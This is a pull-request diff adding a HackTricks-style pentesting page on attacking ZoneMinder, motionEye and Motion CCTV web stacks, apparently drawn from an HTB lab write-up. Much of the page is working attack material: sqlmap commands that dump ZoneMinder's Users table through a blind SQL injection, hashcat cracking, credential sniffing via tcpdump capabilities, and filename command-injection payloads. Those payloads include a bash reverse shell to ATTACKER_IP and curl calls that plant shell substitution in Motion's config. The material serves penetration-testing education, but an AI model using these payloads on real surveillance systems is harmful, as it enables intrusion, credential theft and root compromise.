Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -556,6 +556,7 @@
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [Zabbix](network-services-pentesting/pentesting-web/zabbix.md)
- [Zoneminder Motioneye Motion](network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
Expand Down
1 change: 1 addition & 0 deletions src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -95,6 +95,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**JSP**](jsp.md)
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**ZoneMinder / motionEye / Motion**](zoneminder-motioneye-motion.md)
- [**Nginx**](nginx.md)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
# ZoneMinder, motionEye & Motion

{{#include ../../banners/hacktricks-training.md}}

## Quick triage

When a target exposes a **CCTV / NVR web stack**, look for combinations such as:

- **ZoneMinder** under paths like **`/zm/`**
- **motionEye** on **`127.0.0.1:8765`**
- **Motion webcontrol** on **`127.0.0.1:7999`**
- RTSP / video side services such as **8554**, **1935**, or local image streams

After host access, the most interesting files are commonly:

- **`/etc/motioneye/motioneye.conf`**
- **`/etc/motioneye/*.conf`**
- ZoneMinder web sources / config revealing the DB name, tables, and auth model

## ZoneMinder

### Default credentials and versioning

ZoneMinder is commonly worth checking for:

- **default credentials** such as **`admin:admin`**
- exposed version information in the UI
- local source code / package version to map to known auth-only bugs

### Blind SQLi in `action=removetag`

In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in:

```text
/zm/index.php?view=request&request=event&action=removetag&tid=1
```

can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:

```php
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
```

Useful workflow:

1. Prove injection with a **time-based** payload such as **`SLEEP(5)`**.
2. Check if a **faster Boolean oracle** exists by appending conditions that preserve or break the response.
3. Determine the **UNION column count**.
4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction.

Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**:

```bash
sqlmap -r removetag.request -p tid --batch \
--prefix="1 UNION SELECT 1,2,3,4 WHERE " \
--code 200 --technique=B --flush-session
```

Then enumerate only what matters:

```bash
sqlmap -r removetag.request -p tid --batch \
--prefix="1 UNION SELECT 1,2,3,4 WHERE " \
--code 200 --technique=B \
-D zm -T Users -C Username,Password,Name,Email --dump
```

This is specially useful when the application gives a better **Boolean** signal than sqlmap initially discovers by itself.

### Turning app SQLi into OS access

ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.

- Identify the hash type first (for example **bcrypt** / **`$2y$`**).
- Crack only the extracted application users.
- Test reuse against **SSH**, **`su`**, SMB, VPN, or other operator-facing services.

Example bcrypt cracking flow:

```bash
hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200
```

## Post-foothold: sniffing internal creds with `tcpdump` capabilities

On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.

Check for capture primitives:

```bash
getcap -r / 2>/dev/null
```

If **`tcpdump`** has **`cap_net_raw`** (or **`cap_net_admin,cap_net_raw`**), capture local traffic even as a non-root user:

```bash
timeout 120 tcpdump -i any -w /tmp/capture.pcap
```

This is specially valuable when:

- loopback / bridge services are doing **cleartext internal auth**
- Docker bridges expose custom management channels
- **`/proc`** is mounted with **`hidepid`**, reducing normal process visibility

Review the pcap in Wireshark and prioritise:

- **Conversations**
- **Protocol Hierarchy**
- **Follow TCP Stream** on local / container management ports

## motionEye / Motion

### Signed requests + client-side-only validation

motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.

A practical approach is:

1. Use the legitimate UI so the browser generates a valid **`_signature`**.
2. In DevTools, neutralise the validator, for example:

```javascript
configUiValid = function() { return true; };
```

3. Submit the malicious value through the normal UI workflow.

This is useful when the UI blocks characters such as **`$`**, but the backend still accepts them.

### Filename-to-shell command injection

In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.

If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.

Probe payloads:

```text
$(id)
$(ping -c 1 ATTACKER_IP)
$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1')
```

If the Motion process or hook executes as **root**, this becomes **root RCE**.

### Unauthenticated localhost Motion webcontrol

If Motion webcontrol is reachable and unauthenticated, test it directly:

```bash
curl -s http://127.0.0.1:7999/
```

If advanced parameters are exposed (for example **`webcontrol_parms 2`**), you may be able to set **filename-related** options even when direct **`on_*`** hooks are protected.

Minimal exploitation sequence:

```bash
curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)"
curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
```

Why this works:

- Motion saves a file using the attacker-controlled filename.
- The file path is later inserted as **`%f`** into **`on_picture_save`**.
- The hook is executed through a shell, so **`$(...)`** runs first.

### Stored SHA1 hash accepted as a login secret

If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.

Some motionEye builds store:

```text
@admin_password = sha1(real_password)
```

and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI.

## References

- [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html)
- [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder)
- [motionEye repository](https://github.com/motioneye-project/motioneye)
- [Motion Project](https://motion-project.github.io/)

{{#include ../../banners/hacktricks-training.md}}